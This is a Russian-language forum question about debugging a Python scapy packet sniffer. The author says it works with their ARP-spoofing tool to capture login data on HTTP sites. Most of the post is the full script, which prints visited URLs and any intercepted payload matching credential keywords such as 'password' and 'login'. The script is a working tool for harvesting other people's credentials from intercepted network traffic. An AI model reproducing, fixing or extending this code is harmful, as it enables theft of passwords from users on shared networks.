Как я могу увидеть данные для входа - PullRequest
0 голосов
/ 18 июня 2020

Я написал простой инструмент для спуфинга ARP. Он находит информацию для входа на http-сайты, а также показывает ссылки на введенные сайты. Моя проблема в том, что я написал для l oop для поиска улучшений, таких как «пользователь», «пароль» на уровне «загрузки», но он дал ошибку байта, потому что мой список представляет собой строку. Когда я конвертирую строки в байты, я не могу найти такие строки, как «пользователь», «пароль» в слое «загрузка».

#!/usr/bin/env python3

import scapy.all as scapy
import argparse
from scapy.layers import http


def get_argument():
    parse = argparse.ArgumentParser()
    parse.add_argument("-i", "--interface", dest="interface", help="Your interface name")
    options = parse.parse_args()
    return options
def sniff(interface):
    # prn, call back function every time each packet capture
    # store, we do not store data because data pressure  to the system
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)


def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
        url = packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
        print(url)
        if packet.haslayer(scapy.Raw):
            load = packet[scapy.Raw].load
            keywords = ["username", "user", "login", "password", "pass"]
            for keyword in keywords:
                if keyword.encode() in load:
                    print(load)
                    break

options = get_argument()
sniff(options.interface)
...